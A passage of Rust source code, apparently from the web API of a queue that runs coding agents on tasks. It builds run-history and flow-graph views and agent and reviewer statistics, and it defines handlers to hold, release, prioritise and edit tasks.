5656 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
5657 )
5658 } else if s.parked {
5659 match recorded_end.and_then(|v| v.cause.as_ref()) {
5660 Some(cause) => format!(
5661 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
5662 cause.label(),
5663 cost_words
5664 ),
5665 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
5666 .to_owned(),
5667 }
5668 } else if !status.done()
5669 || matches!(
5670 status,
5671 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
5672 )
5673 {
5674 String::new()
5675 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5676 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5677 {
5678 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
5679 .to_owned()
5680 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5681 " It left a pull request open, so the task was held for a person rather than retried."
5682 .to_owned()
5683 } else if matches!(status, RunStatus::VerifiedNoop) {
5684 " Held for a person to check the claim.".to_owned()
5685 } else if last {
5686 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
5687 } else {
5688 " It spent an attempt, and the task moved on to the next run.".to_owned()
5689 };
5690 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
5691 let mut attempt = exit.cost();
5692 let mut exit_label = None;
5693 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
5694 let spent = match v.cost {
5695 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
5696 Some(crate::queue::PassCost::Spent) => ", attempt counted",
5697 None if resumed_later.is_some() => ", refund not recorded",
5698 None => ", attempt refunded",
5699 };
5700 attempt = match v.cost {
5701 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
5702 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
5703 None if resumed_later.is_some() => AttemptCost::Unknown,
5704 None => attempt,
5705 };
5706 if v.end == "parked" {
5707 exit = RunExit::Parked;
5708 exit_label = Some(match v.cause.as_ref() {
5709 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
5710 format!("parked for {}{spent}", c.label())
5711 }
5712 Some(c) => format!("parked ({}){spent}", c.label()),
5713 None => format!("parked{spent}"),
5714 });
5715 } else {
5716 exit_label = Some(format!("stopped without a recorded cause{spent}"));
5717 }
5718 }
5719 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
5720 TaskRunView {
5721 n,
5722 id: id.to_owned(),
5723 short,
5724 kind,
5725 status: Some(status.as_str()),
5726 readable: true,
5727 provisional,
5728 description,
5729 outcome: format!("{head}{why}"),
5730 created_at: Some(s.created_at),
5731 pr: s.pr.as_ref().map(|p| p.url.clone()),
5732 exit,
5733 attempt,
5734 exit_label,
5735 later_pass: resumed_later,
5736 pass_n,
5737 passes_of_run,
5738 pass: view,
5739 branch: branch.map(str::to_owned),
5740 badge: None,
5741 }
5742}
5743
5744fn capitalise(s: &str) -> String {
5745 let mut c = s.chars();
5746 c.next().map_or_else(String::new, |f| {
5747 f.to_uppercase().collect::<String>() + c.as_str()
5748 })
5749}
5750
5751#[derive(Debug, Serialize, PartialEq)]
5753struct FlowNode {
5754 key: String,
5756 kind: &'static str,
5758 label: String,
5759 status: Option<&'static str>,
5762 status_of: &'static str,
5765 note: Option<&'static str>,
5767 run_kind: Option<&'static str>,
5768 detail: Option<String>,
5769 decided: bool,
5771 readable: bool,
5772 href: Option<String>,
5773 badge: Option<String>,
5775 started_at: Option<Timestamp>,
5777 time_expected: bool,
5779}
5780
5781#[derive(Debug, Serialize, PartialEq)]
5782struct FlowEdge {
5783 from: String,
5784 to: String,
5785 label: String,
5786 attempt: AttemptCost,
5787}
5788
5789#[derive(Debug, Serialize, PartialEq)]
5790struct FlowView {
5791 nodes: Vec<FlowNode>,
5792 edges: Vec<FlowEdge>,
5793 attempts: usize,
5795 max_attempts: usize,
5796 passes: usize,
5799 runs: usize,
5800}
5801
5802fn task_flow(
5811 task: &Task,
5812 history: &[TaskRunView],
5813 max_attempts: usize,
5814 origin: Option<&FollowUpOrigin>,
5815) -> FlowView {
5816 let max_attempts = task.effective_attempt_limit(max_attempts);
5817 let node = |key: &str, kind, label: String| FlowNode {
5818 key: key.to_owned(),
5819 kind,
5820 label,
5821 status: None,
5822 status_of: "run",
5823 note: None,
5824 run_kind: None,
5825 detail: None,
5826 decided: false,
5827 readable: true,
5828 href: None,
5829 badge: None,
5830 started_at: None,
5831 time_expected: matches!(kind, "start" | "run" | "end"),
5832 };
5833 let mut nodes = Vec::new();
5834 let mut edges: Vec<FlowEdge> = Vec::new();
5835 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
5837 let mut n = node(
5838 "chat",
5839 "chat",
5840 format!("Chat {}", crate::queue::short(&link.id)),
5841 );
5842 n.href = Some(link.href);
5843 nodes.push(n);
5844 edges.push(FlowEdge {
5845 from: "chat".to_owned(),
5846 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
5847 label: "queued from chat".to_owned(),
5848 attempt: AttemptCost::None,
5849 });
5850 }
5851 if let Some(o) = origin {
5852 let mut n = match &o.parent {
5853 Some(p) => {
5854 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
5855 n.status = Some(p.status);
5856 n.status_of = "task";
5857 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
5858 n.href = Some(p.href.clone());
5859 n
5860 }
5861 None => {
5862 let mut n = node(
5863 "origin",
5864 "followup",
5865 format!("Follow-up of run {}", o.run.short),
5866 );
5867 n.detail = Some("merged run".to_owned());
5868 n.status = o.run.status;
5869 n.href = o.run.href.clone();
5870 if o.run.href.is_none() {
5871 n.readable = false;
5872 n.note = Some("unreadable");
5873 }
5874 n
5875 }
5876 };
5877 n.decided = true;
5878 let from = n.key.clone();
5879 nodes.push(n);
5880 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
5881 let more = o.findings.len().saturating_sub(shown.len());
5882 let label = match (shown.is_empty(), more) {
5883 (true, _) => "open findings".to_owned(),
5884 (false, 0) => format!("open findings {}", shown.join(", ")),
5885 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
5886 };
5887 edges.push(FlowEdge {
5888 from,
5889 to: "start".to_owned(),
5890 label,
5891 attempt: AttemptCost::None,
5892 });
5893 }
5894 let mut start = node("start", "start", "Task queued".to_owned());
5895 start.started_at = Some(task.created_at);
5896 nodes.push(start);
5897 let mut prev = "start".to_owned();
5898 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
5899 for (i, h) in history.iter().enumerate() {
5900 let key = format!("run-{}", h.n);
5901 let mut n = node(&key, "run", format!("Run {}", h.short));
5902 n.started_at = h
5905 .readable
5906 .then(|| {
5907 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
5908 h.created_at
5909 } else {
5910 None
5911 })
5912 })
5913 .flatten();
5914 n.run_kind = Some(h.kind);
5915 n.readable = h.readable;
5916 n.href = Some(format!("#/runs/{}", h.id));
5917 n.decided = h.readable && !h.provisional;
5918 n.detail = h
5919 .branch
5920 .as_ref()
5921 .map(|b| format!("review-only run of branch {b}"));
5922 match h.exit {
5923 RunExit::Unreadable => n.note = Some("unreadable"),
5924 RunExit::Interrupted => n.note = Some("interrupted"),
5925 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
5928 _ => {
5929 n.status = h.status;
5930 n.badge = h.badge.clone();
5931 if h.provisional {
5932 n.note = Some("no verdict");
5933 }
5934 }
5935 }
5936 let into = match h.kind {
5937 "review" => Some(format!(
5938 "review-only run of branch {}",
5939 h.branch.as_deref().unwrap_or("?")
5940 )),
5941 "resume" => Some("resume the same run".to_owned()),
5942 _ if i > 0 => Some("retry".to_owned()),
5943 _ => None,
5944 };
5945 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
5946 let label = match (prev_exit, into) {
5947 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
5948 (Some((_, l, _)), None) => l,
5949 (None, Some(i)) => i,
5950 (None, None) => "claimed".to_owned(),
5951 };
5952 edges.push(FlowEdge {
5953 from: prev.clone(),
5954 to: key.clone(),
5955 label,
5956 attempt,
5957 });
5958 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
5959 prev = key;
5960 nodes.push(n);
5961 }
5962 let mut end = node("end", "end", task.status.as_str().to_owned());
5963 end.status = Some(task.status.as_str());
5964 end.status_of = "task";
5965 if task.status == TaskStatus::Held {
5968 end.started_at = task.held_at;
5969 }
5970 nodes.push(end);
5971 let (label, attempt) = match prev_exit {
5972 None => (
5973 format!("no run yet \u{2192} {}", task.status.as_str()),
5974 AttemptCost::None,
5975 ),
5976 Some((e, l, cost)) if e.explains(task.status) => {
5977 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
5978 }
5979 Some((_, _, cost)) => (
5980 format!("closed by hand: task is {}", task.status.as_str()),
5981 cost,
5982 ),
5983 };
5984 edges.push(FlowEdge {
5985 from: prev,
5986 to: "end".to_owned(),
5987 label,
5988 attempt,
5989 });
5990 FlowView {
5991 nodes,
5992 edges,
5993 attempts: task.attempts,
5994 max_attempts,
5995 passes: history.len(),
5996 runs: distinct_runs(&task.runs),
5997 }
5998}
5999
6000fn distinct_runs(runs: &[String]) -> usize {
6002 let mut seen: Vec<&str> = Vec::new();
6003 for r in runs {
6004 if !seen.contains(&r.as_str()) {
6005 seen.push(r);
6006 }
6007 }
6008 seen.len()
6009}
6010
6011fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6013 let mut slots = Vec::new();
6014 let mut seen = Vec::new();
6015 for run_id in &task.runs {
6016 if seen.contains(&run_id) {
6017 continue;
6018 }
6019 seen.push(run_id);
6020 let state = read(run_id);
6021 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6022 s.passes
6023 .iter()
6024 .filter(|p| {
6025 p.task_entry
6026 || task
6027 .passes
6028 .iter()
6029 .any(|t| t.run == *run_id && t.pass_index == p.index)
6030 })
6031 .cloned()
6032 .collect()
6033 });
6034 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6035 let total = legacy_count.max(mine.len());
6036 let offset = total - mine.len();
6037 for k in 0..total {
6038 let position = task
6041 .runs
6042 .iter()
6043 .enumerate()
6044 .filter(|(_, r)| *r == run_id)
6045 .nth(k.min(legacy_count - 1))
6046 .unwrap()
6047 .0;
6048 slots.push((
6049 run_id,
6050 state.clone(),
6051 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6052 position,
6053 ));
6054 }
6055 }
6056 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6057 slots.sort_by_key(|(_, state, pass, _)| {
6058 pass.as_ref()
6059 .map(|p| p.started_at)
6060 .or_else(|| state.as_ref().map(|s| s.created_at))
6061 .map_or((true, task.created_at), |at| (false, at))
6062 });
6063 } else {
6064 slots.sort_by_key(|(_, _, _, position)| *position);
6065 }
6066 let mut history = Vec::with_capacity(slots.len());
6067 let mut seen: Vec<&str> = Vec::new();
6068 let mut prior: Option<(&str, RunStatus)> = None;
6069 for (i, (run_id, state, pass, _)) in slots.iter().enumerate() {
6070 let k = seen.iter().filter(|r| **r == run_id.as_str()).count();
6071 let resumed = k > 0;
6072 seen.push(run_id);
6073 let total = slots.iter().filter(|(id, _, _, _)| id == run_id).count();
6074 let pass = pass.as_ref();
6075 let settled = pass.and_then(|p| {
6076 task.passes
6077 .iter()
6078 .find(|t| t.run == **run_id && t.pass_index == p.index)
6079 });
6080 history.push(task_run_view(
6081 run_id,
6082 state.as_ref(),
6083 RunSlot {
6084 n: i + 1,
6085 resumed,
6086 resumed_later: slots[i + 1..]
6087 .iter()
6088 .position(|(id, _, _, _)| id == run_id)
6089 .map(|off| i + off + 2),
6090 prior,
6091 last: i + 1 == slots.len(),
6092 pass,
6093 settled,
6094 pass_n: k + 1,
6095 passes_of_run: total,
6096 },
6097 task,
6098 ));
6099 if let Some(s) = &state {
6100 prior = Some((run::short_of(run_id), s.status));
6101 }
6102 }
6103 history
6104}
6105
6106fn mark_badges(ui: &Ui, task: &Task, history: &mut [TaskRunView]) {
6109 if history.iter().all(|h| h.exit == RunExit::Interrupted) {
6110 return;
6111 }
6112 let (_, claimed, _) = run_row_inputs(ui);
6113 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
6114 for h in history
6115 .iter_mut()
6116 .filter(|h| h.readable && h.exit != RunExit::Interrupted)
6117 {
6118 let Ok(state) = read_run(&ui.runs, &h.id) else {
6119 continue;
6120 };
6121 if state.status.done() {
6122 continue;
6123 }
6124 let live = state.liveness_with(
6125 claimed.contains(&h.id),
6126 |p| probe.borrow_mut().status(p),
6127 |p| probe.borrow_mut().started_at(p),
6128 );
6129 let waiting = !ui.questions.open_for(&h.id).is_empty();
6130 let display = run_display_status(&state, waiting, live);
6131 let word = run_badge_status(&state, &display, live, task.successor_of(&h.id).is_some());
6132 if matches!(word.as_str(), "stale" | "superseded")
6133 || (live == crate::run::Liveness::Dead && matches!(word.as_str(), "parked" | "waiting"))
6134 {
6135 h.badge = Some(word);
6136 }
6137 }
6138}
6139
6140async fn task_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TaskView>> {
6141 blocking(move || {
6142 let id = resolve_task(&ui.queue, &id)?;
6143 Ok(Json(TaskView::from(ui.queue.get(&id)?)))
6144 })
6145 .await
6146}
6147
6148async fn task_detail(
6149 State(ui): State<Arc<Ui>>,
6150 Path(id): Path<String>,
6151) -> ApiResult<Json<TaskDetailView>> {
6152 blocking(move || {
6153 let id = resolve_task(&ui.queue, &id)?;
6154 let task = ui
6155 .queue
6156 .get(&id)
6157 .map_err(|e| ApiError::not_found(format!("{e:#}")))?;
6158 let inv = if task.status == TaskStatus::Blocked {
6159 Some(crate::blockers::Inventory::load_for(
6160 &ui.queue,
6161 &ui.questions,
6162 &task,
6163 ))
6164 } else {
6165 None
6166 };
6167 let mut history = task_history(&task, |id| read_run(&ui.runs, id).ok());
6168 mark_badges(&ui, &task, &mut history);
6169 let runs_unreadable = history.iter().filter(|h| !h.readable).count();
6170 let max_attempts = task.effective_attempt_limit(daemon::Opts::default().max_attempts);
6171 let origin = task.followup.as_ref().map(|fu| {
6172 followup_origin(
6173 fu,
6174 |tid| ui.queue.get(tid).ok(),
6175 |rid| read_run(&ui.runs, rid).ok(),
6176 )
6177 });
6178 let flow = task_flow(&task, &history, max_attempts, origin.as_ref());
6179 let task_view = match inv.as_ref() {
6180 Some(inv) => TaskView::with_inventory(task, inv),
6181 None => TaskView::from(task),
6182 };
6183 Ok(Json(TaskDetailView {
6184 max_attempts,
6185 flow,
6186 followup_origin: origin,
6187 passes_total: history.len(),
6188 runs_distinct: distinct_runs(&task_view.task.runs),
6189 history,
6190 runs_unreadable,
6191 attempts_note: ATTEMPTS_NOTE,
6192 task: task_view,
6193 }))
6194 })
6195 .await
6196}
6197
6198#[derive(Debug, Serialize)]
6202struct RateView {
6203 pct: f64,
6204 denominator: usize,
6205}
6206
6207impl RateView {
6208 fn of(numerator: usize, denominator: usize) -> Option<Self> {
6209 (denominator > 0).then(|| Self {
6210 pct: 100.0 * numerator as f64 / denominator as f64,
6211 denominator,
6212 })
6213 }
6214}
6215
6216#[derive(Debug, Serialize)]
6221struct StatsTotalsView {
6222 runs: usize,
6223 merged: usize,
6224 ready: usize,
6225 blocked: usize,
6226 failed: usize,
6227 stalled: usize,
6228 verified_noop: usize,
6229 superseded: usize,
6230 in_progress: usize,
6231 completion_rate: Option<RateView>,
6232 tallied: usize,
6233 split: usize,
6234 split_rate: Option<RateView>,
6235 deliberated: usize,
6236 minds_changed: usize,
6237 converged: usize,
6238 review_rounds: usize,
6239}
6240
6241impl From<&stats::Totals> for StatsTotalsView {
6242 fn from(t: &stats::Totals) -> Self {
6243 Self {
6244 runs: t.runs,
6245 merged: t.merged,
6246 ready: t.ready,
6247 blocked: t.blocked,
6248 failed: t.failed,
6249 stalled: t.stalled,
6250 verified_noop: t.verified_noop,
6251 superseded: t.superseded,
6252 in_progress: t.in_progress,
6253 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6254 tallied: t.tallied,
6255 split: t.split,
6256 split_rate: RateView::of(t.split, t.tallied),
6257 deliberated: t.deliberated,
6258 minds_changed: t.minds_changed,
6259 converged: t.converged,
6260 review_rounds: t.review_rounds,
6261 }
6262 }
6263}
6264
6265#[derive(Debug, Serialize)]
6267struct AgentStatsView {
6268 agent: String,
6269 entered: usize,
6270 wins: usize,
6271 empty: usize,
6272 win_rate: Option<RateView>,
6273 competitive_entered: usize,
6274 competitive_wins: usize,
6275 competitive_win_rate: Option<RateView>,
6276 solo_entered: usize,
6277 solo_adopted: usize,
6278 solo_adoption_rate: Option<RateView>,
6279}
6280
6281impl From<&stats::AgentStats> for AgentStatsView {
6282 fn from(a: &stats::AgentStats) -> Self {
6283 Self {
6284 agent: a.agent.clone(),
6285 entered: a.entered,
6286 wins: a.wins,
6287 empty: a.empty,
6288 win_rate: RateView::of(a.wins, a.entered),
6289 competitive_entered: a.competitive_entered,
6290 competitive_wins: a.competitive_wins,
6291 competitive_win_rate: RateView::of(a.competitive_wins, a.competitive_entered),
6292 solo_entered: a.solo_entered,
6293 solo_adopted: a.solo_adopted,
6294 solo_adoption_rate: RateView::of(a.solo_adopted, a.solo_entered),
6295 }
6296 }
6297}
6298
6299#[derive(Debug, Serialize)]
6303struct ReviewerStatsView {
6304 agent: String,
6305 rounds: usize,
6306 seated: usize,
6307 submitted: usize,
6308 adopted: usize,
6309 unique: usize,
6310 timeouts: usize,
6311 adopted_per_round: Option<f64>,
6312 precision: Option<RateView>,
6313 unique_rate: Option<RateView>,
6314 timeout_rate: Option<RateView>,
6315}
6316
6317impl From<&stats::ReviewerStats> for ReviewerStatsView {
6318 fn from(r: &stats::ReviewerStats) -> Self {
6319 Self {
6320 agent: r.agent.clone(),
6321 rounds: r.rounds,
6322 seated: r.seated,
6323 submitted: r.submitted,
6324 adopted: r.adopted,
6325 unique: r.unique,
6326 timeouts: r.timeouts,
6327 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
6328 precision: RateView::of(r.adopted, r.submitted),
6329 unique_rate: RateView::of(r.unique, r.submitted),
6330 timeout_rate: RateView::of(r.timeouts, r.seated),
6331 }
6332 }
6333}
6334
6335#[derive(Debug, Serialize)]
6341struct AdvisorStatsView {
6342 agent: String,
6343 seated: usize,
6344 proposed: usize,
6345 absent: usize,
6346 faint: usize,
6347 strong: usize,
6348 reflection_rate: Option<RateView>,
6349}
6350
6351impl From<&stats::AdvisorStats> for AdvisorStatsView {
6352 fn from(a: &stats::AdvisorStats) -> Self {
6353 Self {
6354 agent: a.agent.clone(),
6355 seated: a.seated,
6356 proposed: a.proposed,
6357 absent: a.absent,
6358 faint: a.faint,
6359 strong: a.strong,
6360 reflection_rate: RateView::of(a.strong, a.proposed),
6361 }
6362 }
6363}
6364
6365#[derive(Debug, Serialize)]
6367struct E2eStatsView {
6368 rounds: usize,
6369 failures: usize,
6370 sole_detections: usize,
6371 deferred: usize,
6372 sole_rate: Option<RateView>,
6373}
6374
6375impl From<&stats::E2eStats> for E2eStatsView {
6376 fn from(e: &stats::E2eStats) -> Self {
6377 Self {
6378 rounds: e.rounds,
6379 failures: e.failures,
6380 sole_detections: e.sole_detections,
6381 deferred: e.deferred,
6382 sole_rate: RateView::of(e.sole_detections, e.failures),
6383 }
6384 }
6385}
6386
6387#[derive(Debug, Serialize)]
6395struct ReleaseBumpStatsView {
6396 merged: usize,
6397 recorded: usize,
6398 pr_opened: usize,
6399 automerge_enabled: usize,
6400 merged_directly: usize,
6401 needs_attention: usize,
6402 clean: usize,
6403 coverage_rate: Option<RateView>,
6404 automerge_rate: Option<RateView>,
6405 attention_rate: Option<RateView>,
6406}
6407
6408impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
6409 fn from(b: &stats::ReleaseBumpStats) -> Self {
6410 Self {
6411 merged: b.merged,
6412 recorded: b.recorded,
6413 pr_opened: b.pr_opened,
6414 automerge_enabled: b.automerge_enabled,
6415 merged_directly: b.merged_directly,
6416 needs_attention: b.needs_attention,
6417 clean: b.clean(),
6418 coverage_rate: RateView::of(b.recorded, b.merged),
6419 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
6420 attention_rate: RateView::of(b.needs_attention, b.recorded),
6421 }
6422 }
6423}
6424
6425#[derive(Debug, Serialize)]
6427struct TaskCountsView {
6428 queued: usize,
6429 running: usize,
6430 done: usize,
6431 failed: usize,
6432 held: usize,
6433 blocked: usize,
6434 parked: usize,
6435}
6436
6437impl From<crate::queue::TaskCounts> for TaskCountsView {
6438 fn from(c: crate::queue::TaskCounts) -> Self {
6439 Self {
6440 queued: c.queued,
6441 running: c.running,
6442 done: c.done,
6443 failed: c.failed,
6444 held: c.held,
6445 blocked: c.blocked,
6446 parked: c.parked,
6447 }
6448 }
6449}
6450
6451#[derive(Debug, Serialize)]
6457struct RepoSummaryView {
6458 repo: String,
6461 name: String,
6463 runs: usize,
6464 completion_rate: Option<RateView>,
6465}
6466
6467impl From<&stats::RepoStats> for RepoSummaryView {
6468 fn from(r: &stats::RepoStats) -> Self {
6469 let t = &r.stats.totals;
6470 Self {
6471 repo: r.repo.to_string_lossy().into_owned(),
6472 name: r.name.clone(),
6473 runs: t.runs,
6474 completion_rate: RateView::of(t.merged + t.ready, t.runs),
6475 }
6476 }
6477}
6478
6479#[derive(Debug, Serialize)]
6485struct StatsView {
6486 totals: StatsTotalsView,
6487 agents: Vec<AgentStatsView>,
6489 reviewers: Vec<ReviewerStatsView>,
6491 advisors: Vec<AdvisorStatsView>,
6493 e2e: E2eStatsView,
6494 release_bumps: ReleaseBumpStatsView,
6495 queue: Option<TaskCountsView>,
6496 runs_unreadable: usize,
6506 repos: Vec<RepoSummaryView>,
6510 daily: Vec<DailyStatsView>,
6515 repo: Option<String>,
6519 retired_hidden: Vec<String>,
6523}
6524
6525#[derive(Debug, Serialize)]
6527struct DailyStatsView {
6528 date: String,
6530 runs: usize,
6531 merged: usize,
6532 ready: usize,
6533 other: usize,
6534 completion_rate: Option<RateView>,
6536}
6537
6538impl From<&stats::DayBucket> for DailyStatsView {
6539 fn from(b: &stats::DayBucket) -> Self {
6540 Self {
6541 date: b.date.to_string(),
6542 runs: b.runs,
6543 merged: b.merged,
6544 ready: b.ready,
6545 other: b.other,
6546 completion_rate: RateView::of(b.merged + b.ready, b.runs),
6547 }
6548 }
6549}
6550
6551const STATS_DAILY_DAYS: usize = 30;
6553
6554#[derive(Debug, Default, Deserialize)]
6563#[serde(default)]
6564struct StatsQuery {
6565 repo: Option<String>,
6566 all: bool,
6568 runs_only: bool,
6570}
6571
6572async fn stats_get(
6579 State(ui): State<Arc<Ui>>,
6580 Query(q): Query<StatsQuery>,
6581) -> ApiResult<Json<StatsView>> {
6582 blocking(move || {
6583 let states: Vec<RunState> = run_ids(&ui.runs)
6584 .into_iter()
6585 .filter_map(|id| read_run(&ui.runs, &id).ok())
6586 .collect();
6587 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
6588 .iter()
6589 .map(RepoSummaryView::from)
6590 .collect();
6591 let mut scoped: Vec<&RunState> = states.iter().collect();
6592 let mut collected = match &q.repo {
6593 Some(repo) => {
6594 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
6595 if filtered.is_empty() {
6596 return Err(ApiError::not_found(format!(
6597 "no runs recorded against repo `{repo}`"
6598 )));
6599 }
6600 scoped = filtered.clone();
6601 stats::collect_refs(filtered)
6602 }
6603 None => stats::collect(&states),
6604 };
6605 if !q.all {
6606 let repo = q
6607 .repo
6608 .as_deref()
6609 .map_or_else(|| ui.repo.clone(), PathBuf::from);
6610 stats::retain_current_roster(&mut collected, &repo);
6611 }
6612 let daily = stats::daily(
6613 scoped,
6614 jiff::Zoned::now().date(),
6615 &jiff::tz::TimeZone::system(),
6616 STATS_DAILY_DAYS,
6617 );
6618 let queue_counts = (!q.runs_only)
6619 .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
6620 Ok(Json(StatsView {
6621 totals: StatsTotalsView::from(&collected.totals),
6622 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
6623 reviewers: collected
6624 .reviewers
6625 .iter()
6626 .map(ReviewerStatsView::from)
6627 .collect(),
6628 advisors: collected
6629 .advisors
6630 .iter()
6631 .map(AdvisorStatsView::from)
6632 .collect(),
6633 e2e: E2eStatsView::from(&collected.e2e),
6634 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
6635 queue: queue_counts,
6636 runs_unreadable: runs_unreadable(&ui.runs),
6637 repos,
6638 daily: daily.iter().map(DailyStatsView::from).collect(),
6639 repo: q.repo.clone(),
6640 retired_hidden: collected.retired_hidden.clone(),
6641 }))
6642 })
6643 .await
6644}
6645
6646#[derive(Debug, Default, Deserialize)]
6649#[serde(default, deny_unknown_fields)]
6650struct HoldBody {
6651 reason: Option<String>,
6652}
6653
6654async fn queue_hold(
6655 State(ui): State<Arc<Ui>>,
6656 Path(id): Path<String>,
6657 body: std::result::Result<Json<HoldBody>, JsonRejection>,
6658) -> ApiResult<Json<TaskView>> {
6659 let body = match body {
6663 Ok(Json(body)) => body,
6664 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
6665 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6666 };
6667 let reason = body.reason.filter(|r| !r.trim().is_empty());
6668 mutate(ui, id, move |t| {
6669 t.hold_manual(reason.clone());
6670 Ok(())
6671 })
6672 .await
6673}
6674
6675async fn queue_release(
6676 State(ui): State<Arc<Ui>>,
6677 Path(id): Path<String>,
6678) -> ApiResult<Json<TaskView>> {
6679 mutate(ui, id, |t| {
6680 t.release_operator("web", None);
6681 Ok(())
6682 })
6683 .await
6684}
6685
6686#[derive(Debug, Deserialize)]
6687#[serde(deny_unknown_fields)]
6688struct AttemptLimitBody {
6689 attempt_limit: serde_json::Value,
6691}
6692
6693async fn queue_attempt_limit(
6694 State(ui): State<Arc<Ui>>,
6695 Path(id): Path<String>,
6696 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
6697) -> ApiResult<Json<TaskView>> {
6698 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6699 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
6700 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
6701 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
6702}
6703
6704#[derive(Debug, Deserialize)]
6705#[serde(deny_unknown_fields)]
6706struct ImplementersBody {
6707 implementers: u8,
6708}
6709
6710async fn queue_implementers(
6711 State(ui): State<Arc<Ui>>,
6712 Path(id): Path<String>,
6713 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
6714) -> ApiResult<Json<TaskView>> {
6715 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6716 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
6717}
6718
6719#[derive(Debug, Deserialize)]
6720#[serde(deny_unknown_fields)]
6721struct UrgentBody {
6722 urgent: bool,
6723}
6724
6725async fn queue_urgent(
6726 State(ui): State<Arc<Ui>>,
6727 Path(id): Path<String>,
6728 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
6729) -> ApiResult<Json<TaskView>> {
6730 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6731 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
6732}
6733
6734#[derive(Debug, Deserialize)]
6736#[serde(deny_unknown_fields)]
6737struct PriorityBody {
6738 priority: i32,
6739}
6740
6741async fn queue_priority(
6747 State(ui): State<Arc<Ui>>,
6748 Path(id): Path<String>,
6749 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
6750) -> ApiResult<Json<TaskView>> {
6751 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6752 mutate(ui, id, move |t| t.set_priority(body.priority)).await
6753}
6754
6755#[derive(Debug, Deserialize)]
6757#[serde(deny_unknown_fields)]
6758struct EditBody {
6759 title: String,
6760 instruction: String,
6761 #[serde(default)]
6764 force: bool,
6765}
6766
6767async fn queue_edit(
6771 State(ui): State<Arc<Ui>>,
6772 Path(id): Path<String>,
6773 body: std::result::Result<Json<EditBody>, JsonRejection>,
6774) -> ApiResult<Json<TaskView>> {
6775 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6776 let mut judged: Option<(String, PathBuf)> = None;
6780 if !body.force {
6781 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
6782 let (id, text) = (id.clone(), body.instruction.clone());
6783 let (seen, hits) = blocking(move || {
6784 let id = resolve_task(&queue, &id)?;
6785 let t = queue.get(&id)?;
6786 if text == t.instruction {
6787 return Ok((None, Vec::new()));
6788 }
6789 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6790 Ok((Some((t.instruction, t.repo)), hits))
6791 })
6792 .await?;
6793 if let Some((_, repo)) = &seen {
6794 let cfg = crate::config::Config::discover(repo, None)
6795 .ok()
6796 .map(|(c, _)| c);
6797 let screened =
6798 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6799 .await
6800 .map_err(|dup| {
6801 ApiError::conflict(dup.render(
6802 "Nothing was saved. If it is not a duplicate, repeat the request \
6803 with \"force\": true.",
6804 ))
6805 })?;
6806 if let crate::dupes::Screened::Unjudged(why) = screened {
